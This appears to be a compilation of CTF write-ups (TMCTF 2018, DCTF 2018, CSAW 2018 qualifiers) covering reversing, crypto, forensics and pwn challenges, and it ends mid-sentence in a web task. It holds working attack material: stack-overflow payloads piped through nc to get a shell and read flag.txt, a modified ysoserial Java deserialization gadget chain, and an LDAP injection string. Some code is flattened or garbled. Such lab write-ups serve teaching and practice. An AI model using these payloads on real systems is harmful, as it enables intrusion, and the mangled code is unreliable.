### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
# PasswordPolicy### (Junior - 1pts)> Can you guess this extreme password?
> Target: [https://password-policy.dctfq18.def.camp/](password-policy.dctfq18.def.camp.html)------
On checking link's page-source there is an internal JavaScript
It checks the value in input of Password for length to be greater then 1337
And, the form which contains the inputs is making a post call to the same page itself
Hence, appropiate first step seems to be sending a post call with lesser length to check whether is it just client side validation or is there any on server```python>> import requests>> requests.post('https://password-policy.dctfq18.def.camp/', data={ 'user':'[emailย protected]', 'pass':'password'}).textu'DCTF{db95ace20ae3972f87d758a3724142ae93735c442a8482f9717fe4a9bb94d337}'```After sending above data we receive our flag there itself
*This challenge would have required to be password cracked after bypassing the JS it just was sheer luck that sending password as pass gave the flag, it was meant be just a test to know server responses before automating*
------Flag: DCTF{db95ace20ae3972f87d758a3724142ae93735c442a8482f9717fe4a9bb94d337} |
# CSAW CTF Qualification Round 2018 2018 WriteupThis repository serves as a writeup for CSAW CTF Qualification Round 2018 which are solved by The [S3c5murf](https://ctftime.org/team/63808/) team
## Twitch Plays Test Flag
**Category:** Misc**Points:** 1**Solved:** 1392**Description:**
> ``flag{typ3_y3s_to_c0nt1nue}``
### Write-upJust validate it.
So, the flag is : ``flag{typ3_y3s_to_c0nt1nue}``
## bigboy
**Category:** Pwn**Points:** 25**Solved:** 656**Description:**
> Only big boi pwners will get this one!
> ``nc pwn.chal.csaw.io 9000``
**Attached:** [boi](resources/pwn-25-bigboy/boi)
### Write-upIn this task, we are given a file and we should use a socket connexion to get the flag.
Let's try opening a socket connexion using that command ``nc pwn.chal.csaw.io 9000``.
Input : testtesttest
Output : Current date
Alright. Now, we start analyzing the given file.
Using the command ``file boi``, we get some basic information about that file:
The given file is an ELF 64-bit executable file that we need for testing before performing the exploitation through the socket connexion.
So let's open it using Radare2 :
```r2 boiaaa #For a deep analysis```
Then, we disassamble the main() method:
```pdf @main```
As we can see, there is 8 local variables in the main method:
```| ; var int local_40h @ rbp-0x40| ; var int local_34h @ rbp-0x34| ; var int local_30h @ rbp-0x30| ; var int local_28h @ rbp-0x28| ; var int local_20h @ rbp-0x20| ; var int local_1ch @ rbp-0x1c| ; var int local_18h @ rbp-0x18| ; var int local_8h @ rbp-0x8```
Then, some local variables are initialized:
```| 0x00400649 897dcc mov dword [rbp - local_34h], edi| 0x0040064c 488975c0 mov qword [rbp - local_40h], rsi| 0x00400650 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x1a98 ; '('| 0x00400659 488945f8 mov qword [rbp - local_8h], rax| 0x0040065d 31c0 xor eax, eax| 0x0040065f 48c745d00000. mov qword [rbp - local_30h], 0| 0x00400667 48c745d80000. mov qword [rbp - local_28h], 0| 0x0040066f 48c745e00000. mov qword [rbp - local_20h], 0| 0x00400677 c745e8000000. mov dword [rbp - local_18h], 0| 0x0040067e c745e4efbead. mov dword [rbp - local_1ch], 0xdeadbeef```
After that, the message was printed "Are you a big boiiiii??" with the put() function:
```| 0x00400685 bf64074000 mov edi, str.Are_you_a_big_boiiiii__ ; "Are you a big boiiiii??" @ 0x400764| 0x0040068a e841feffff call sym.imp.puts ; sym.imp.system-0x20; int system(const char *string);```
Next, the read() function was called to read the input set by the user from the stdin:```| 0x0040068f 488d45d0 lea rax, qword [rbp - local_30h]| 0x00400693 ba18000000 mov edx, 0x18| 0x00400698 4889c6 mov rsi, rax| 0x0040069b bf00000000 mov edi, 0| 0x004006a0 e85bfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte);```
The input was set in the [rbp - local_30h] address.
Then, a comparison was trigered to compare the value of the `[rbp - local_1ch]` address to the `0xcaf3baee` value.
But as explained previously, the `[rbp - local_1ch]` value was `0xdeadbeef` and not `0xcaf3baee`.
What to do then ?
As we remember, the data input from the stdin is set in the `[rbp - local_30h]` address.
And since we don't see any check on the data input set by the user while calling the read() function, we can exploit a buffer overflow attack to set the `0xcaf3baee` value in the `[rbp - local_30h]` address.
The difference between rbp-0x30 and rbp-0x1c in hexadecimal is 14. In base10 it's 20.
So the offset that we should use is equal to 20 bytes.
To resume the input should looks like : ``20 bytes + 0xcaf3baee``.
Let's exploit !
In exploit, I only need peda-gdb (I installed it and linked it to gdb so if you don't already downloaded peda-gdb, some of the next commands will not work or will not have the same output).
We run peda-gdb on the binary file and we disassamble the main function just to get the instruction's line numbers:
```gdb boipdisass main```
Output :
We set a breakpoint on line main+108 to see the registers state after calling the cmp instruction:
```b *main+108```
Let's try running the binary file with a simple input (for example input='aaaa' : length <=20):
```r <<< $(python -c "print 'aaaa'")```
Output :
The value of RAX register (64 bits) is `0xdeadbeef` which is the value of EAX register (32 bits). As I remember EAX register is the lower 32 bits of the RAX register. So until now, this makes sense to see that value in RAX register.
The value of RSI register (64 bits) is `aaaa\n` also as expected (data input).
And while jne (jump if not equals) is executed, the program will jump to the lines that executes /bin/date (refer to the main disassambled using radare2).
This is why, we see the current date in the output when we continue using `c` in gdb.
Another important thing, in the stack, we can see the value of the local variables.
Now, let's try smaching the stack and set 20+4 bytes in the data input:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaabbbb'")```
Output :
We can see that the value of RAX (means to EAX) is `bbbb` and we can see that in the stack part, the `0xdeadbeef00000000` was replaced by `aaaabbbb` after replacing the other local variables. And even though, the `Jump is taken`. So, if we continue the execution, we will get the current date.
Now, let's perform the exploitation seriously and replace `bbbb` by the `0xcaf3baee` value:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Output :
Now, RAX (means to EAX) gets the good value `0xcaf3baee`. And the Jump was not taken.
Let's continue :
```c```
Output :
So the /bin/dash was executed.
Now, we try this exploit remotely over a socket connexion:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Pwned ! We got the shell. And we can get the flag.
But, wait... This is not good. Whatever the command that we run through this connexion, we don't receive the output.
Let's try sending the commands on the payload directly:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")```
Output :
Good ! Let's cat the flag file :
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")```
Output :
So, the flag is : ``flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}``
## get it?
**Category:** Pwn**Points:** 50**Solved:** 535**Description:**
> Do you get it?
### Write-upI tried writing a write-up but after reading another one, I felt uncomfortable to write it.
This is the greatest write-up of this task that I recommand reading it :
[https://ctftime.org/writeup/11221](https://ctftime.org/writeup/11221)
Which is a shortcut it this one :
[https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md](https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md)
My solution was closer because it remains to some payload :
```python -c "print 'A'*40+'\xb6\x05\x40\x00\x00\x00\x00\x00'" > payload(cat payload; cat) | nc pwn.chal.csaw.io 9001```
Output :
Now, we got the shell !
We can also get the flag :
```idlscat flag.txt```
Output :
So, the flag is `flag{y0u_deF_get_itls}`.
## A Tour of x86 - Part 1
**Category:** Reversing**Points:** 50**Solved:** 433**Description:**
> Newbs only!
> `nc rev.chal.csaw.io 9003`
> -Elyk
> Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier.
**Attached:** [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) [Makefile](resources/reversing-50-a_tour_of_x86_part_1/Makefile) [stage-2.bin](resources/reversing-50-a_tour_of_x86_part_1/stage-2.bin)
### Write-upIn this task, we only need the [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) file.
The other files are needed in the next stage which I haven't already solve it.
I just readed this asm file and I answered to the five question in the socket connexion opened with `nc rev.chal.csaw.io 9003`.
> Question 1 : What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```xor dh, dh ; => dh xor dh = 0. So the result in hexadecimal is 0x00```
> Question 2 : What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov dx, 0xffff ; => dx=0xffffnot dx ; => dx=0x0000mov gs, dx ; => gs=dx=0x0000```
> Answer 3 : What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov cx, 0 ; cx=0x0000 ; Registers that ends with 'x' are composed of low and high registers (cx=ch 'concatenated with' cl)mov sp, cx ; => sp=cx=0x0000mov si, sp ; => si=sp=0x0000```
> Answer 4 : What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov al, 't' ; => al='t'=0x74 (in hexadecimal)mov ah, 0x0e ; => ah=0x0e. So ax=0x0e74. Because ax=ah 'concatenated with' al```
> Answer 5 : What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```.string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements>mov ax, .string_to_print ; 'ax' gets the value of the 'db' array of bytes of the .string_to_print sectionmov si, ax ; si=axmov al, [si] ; 'al' gets the address of the array of bytes of the .string_to_print section. Which means that it gets the address of the first byte. So al=0x61mov ah, 0x0e ; ah=0x0e. So ax=0x0e61. Because ax=ah 'concatenated with' al```
Then, we send our answers to the server :
Input and output :
```nc rev.chal.csaw.io 9003........................................Welcome!
What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0000
What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0e74
What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')0x0e61flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}```
So, the flag is `flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}`
## Ldab
**Category:** Web**Points:** 50**Solved:** 432**Description:**
> dab
> `http://web.chal.csaw.io:8080`
### Write-upThis task was a kind of LDAP Injection.
After we visit this page `http://web.chal.csaw.io:8080` in the web browser, we get this result :
After some search tries, I understood that there is a filter like this `(&(GivenName=<OUR_INPUT>)(!(GivenName=Flag)))` (the blocking filter is in the right side, not in the left side).
I understood this after solving this task. But, I'm gonna explain what is the injected payload and how it worked.
The payload choosed was `*))(|(uid=*`.
And this payload set as an input, when it replaces `<OUR_INPUT>`, the filter will looks like this : `(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))`.
This is interpreted as :
> Apply an AND operator between `(GivenName=*)` which will always succeed.
> Apply an OR operator between `(uid=*)` and `(!(GivenName=Flag))` which will succeed but it doesn't show the flag.
As I understood, the default operator between these two conditions is an OR operator if there is no operator specified.
So, after setting `*))(|(uid=*` as an input, we will get the flag :
So, the flag is `flag{ld4p_inj3ction_i5_a_th1ng}`.
## Short Circuit
**Category:** Misc**Points:** 75**Solved:** 162**Description:**
> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.
> Elyk
**Attached** [20180915_074129.jpg](resources/misc-75-short_circuit/20180915_074129.jpg)**Hint:** There are 112 Things You Need to Worry About
### Write-upIn this task we are given a photo that contains a circuit from which we should find the flag.
Personally, I solved this task without that hint.
I'm gonna relate how I solved this task. It was not so easy if you can't get it.
After seeing this given picture and after reading the description, I was confused. Is it rotated correctly ? Or should we find the correct rotation ?
So, I choosed this rotation because it looks better for me (that I can think better with a relaxed mind) :
Maybe, I choosed this rotation also because of these hints :
I tried to determinde the path between the 2 +Vcc :
In the first impression, after seeing the LED Diodes, I said
> "Maybe we should find the bits from each led : 1 if the electricity goes through the LED and 0 if not".
So let's fix some concepts. In physics, the electricity goes through an electric component IF there is no short circuit or if the electricity reach the ground. This is what I say in physics related to this task
Also, a short circuit means that the input node have the same voltage as the output node. So the electricity will go from node A to node B through the cable without going in the other path through any other electric component.
So, for the first 16 bits it was OK, I found the begining of the format flag 'flag{}' only for 2 bytes 'fl'. And I was excited :
I commented on 'Counts as 2 each' and I said "Of course because there is 2 LED Diodes. What a useless information".
But starting for the third byte, it was a disaster. I was affraid that I was bad in physics. And it was impossible for me to get even a correct character from the flag format 'flag{}'.
I said maybe I'm wrong for the orientation. Since, in the description, the author mentionned that we should ignore the first bit.
I said, the flag characters are they 7-bits and shall we add the last bit as a 0 ? The answer was 'No'.
I changed the orientation 180 degree. But, I didn't get any flag format.
In the both directions, there is many non-ascii characters.
And I was confused of seeing the same LED diode connected multiple times to the path. So, when I should set a value (0 or 1) to the LED Diode, I say 'should it be 'xx1xxxx' (setting the LED value in the first match) or 'xxxxx1x' (setting the LED value in the last match) 'xx1xx1x' (setting the LED value in all matches) ?
Example :
Should it be '1xxxx' (1 related to the LED marked with a green color) or should it be 'xxxx1' or should it be all of these as '1xxxx1' ?
I was just stuck.
And finally in the last 10 minutes before the end of the CTF I get it !
It was not `for each LED Diode we count a bit`. Instead it was `For each cable connected to the principle path, we count a bit`:
Finally, we get the following bits :
```01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001 01101000 01100001 01101110 01100100 01111101```
Which are in ascii `flag{owmyhand}`.
So, the flag is `flag{owmyhand}`.
## sso
**Category:** Web**Points:** 100**Solved:** 210**Description:**
> Don't you love undocumented APIs
> Be the admin you were always meant to be
> http://web.chal.csaw.io:9000
> Update chal description at: 4:38 to include solve details
> Aesthetic update for chal at Sun 7:25 AM
### Write-upIn this task, we have the given web page `http://web.chal.csaw.io:9000` :
In the source code we can finde more details about the available URLs:
So we have to access to `http://web.chal.csaw.io:9000/protected`. But, when we access to this page, we get this error :
We need an Authorization header which is used in many applications that provides the Single Sign-on which is an access control property that gives a user a way to authenticate a single time to be granted to access to many systems if he is authorized.
And that's why we need those 3 links :
> `http://web.chal.csaw.io:9000/oauth2/authorize` : To get the authorization from the Oauth server
